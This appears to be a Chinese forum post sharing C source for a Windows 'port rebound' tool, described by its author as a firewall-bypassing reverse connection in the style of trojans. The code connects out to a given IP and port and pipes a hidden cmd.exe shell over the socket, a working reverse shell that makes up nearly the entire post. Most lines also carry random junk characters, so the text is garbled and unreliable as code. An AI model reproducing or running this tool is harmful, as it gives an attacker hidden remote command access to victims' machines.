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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |iO2,99i  
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/* ============================== N @]*E  
Rebound port in Windows NT 4vE,nx=  
By wind,2006/7 >Pbd#*  
===============================*/ )oHIRsr  
#include Ao?H.=#y  
#include 64b9.5Bn  
:R<,J=+$u  
#pragma comment(lib,"wsock32.lib") {9'"!fH  
2{@: :JZ  
void OutputShell(); 5vg@zH\z  
SOCKET sClient; i"sVk8+o!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3#0nus|=S  
G8akMd]2  
void main(int argc,char **argv) j0:F E  
{ Hdj0! bUx  
WSADATA stWsaData; ]O&TU X@)  
int nRet; _3hCu/BV  
SOCKADDR_IN stSaiClient,stSaiServer; f-4<W0%  
!=k\Rr@qx  
if(argc != 3) AVyo)=&  
{ UmInAH4  
printf("Useage:\n\rRebound DestIP DestPort\n"); y(6&90cr  
return; e J2[=L'  
} Tje =vI  
_xUiHX<  
WSAStartup(MAKEWORD(2,2),&stWsaData); v_)cp9d]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LdVGFlcXi  
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stSaiClient.sin_family = AF_INET; o"QpV >x  
stSaiClient.sin_port = htons(0); kc/h]B  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "wexG]R=5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;?h#',(p  
{ <fs2;  
printf("Bind Socket Failed!\n"); ~g>15b3  
return; M}/%t1^g:  
} iT9cw`A^%  
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stSaiServer.sin_family = AF_INET; _lyP7$[: c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +zz9u?2C`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hiU_r="*ox  
9c#9KCmc  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >i@gR  
{ V/>SjUNq  
printf("Connect Error!"); l_^>spF  
return; Mk,8v],-Tj  
} ]WyV~Dzz<  
OutputShell(); l]3g6c  
} k_O"bsI)  
&WvJg#f  
void OutputShell() .$v]B xu  
{ cr,o<  
char szBuff[1024]; gtjgC0   
SECURITY_ATTRIBUTES stSecurityAttributes; [h8F)  
OSVERSIONINFO stOsversionInfo; )@SIFE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pMa 3R3a  
STARTUPINFO stStartupInfo; uvD 6uIW<  
char *szShell; i&.F}bEi  
PROCESS_INFORMATION stProcessInformation; A[+op'>k  
unsigned long lBytesRead; Mt@K01MI%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CAc nH  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rYm<U!k  
stSecurityAttributes.lpSecurityDescriptor = 0; ?ADk`ts~,}  
stSecurityAttributes.bInheritHandle = TRUE; y<3v/ ,Y  
mn0QVkb}lc  
#c/v2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NSb< 7_L  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5:n&G[Md  
yFJ(b%7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =Ee f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2(`2f  
stStartupInfo.wShowWindow = SW_HIDE; ~Ycz(h'(  
stStartupInfo.hStdInput = hReadPipe; B*DH^";t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <!DOCvd  
a[9;Okm #  
GetVersionEx(&stOsversionInfo); m\@Q/_ v  
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switch(stOsversionInfo.dwPlatformId) i Cv &<C@  
{ O]{H2&k@  
case 1: to:hMd1T  
szShell = "command.com"; :I<%.|8  
break; *'exvY~  
default: b[RBp0]x  
szShell = "cmd.exe"; 8|7Tk[X1j  
break; "OK(<x]3;>  
} }[i35f[w  
#o yvsS8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7*[>e7:A  
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send(sClient,szMsg,77,0); WQ"ZQ  
while(1) Y6{p|F?&"  
{ DlIfr6F  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZU "y<  
if(lBytesRead) Y`( I};MO  
{ !+fHdB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e,1Jxz4QH  
send(sClient,szBuff,lBytesRead,0); = b)q.2'#  
} jl:O~UL6i  
else k5}i^^.  
{ 1/1P;8F@G  
lBytesRead=recv(sClient,szBuff,1024,0); OQ[>s(`*{  
if(lBytesRead<=0) break; 7c;59$2(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); % )|/s %W  
} 162qxR[.  
} _B W$?:)9  
AvV.faa  
return; ASu9c2s  
}
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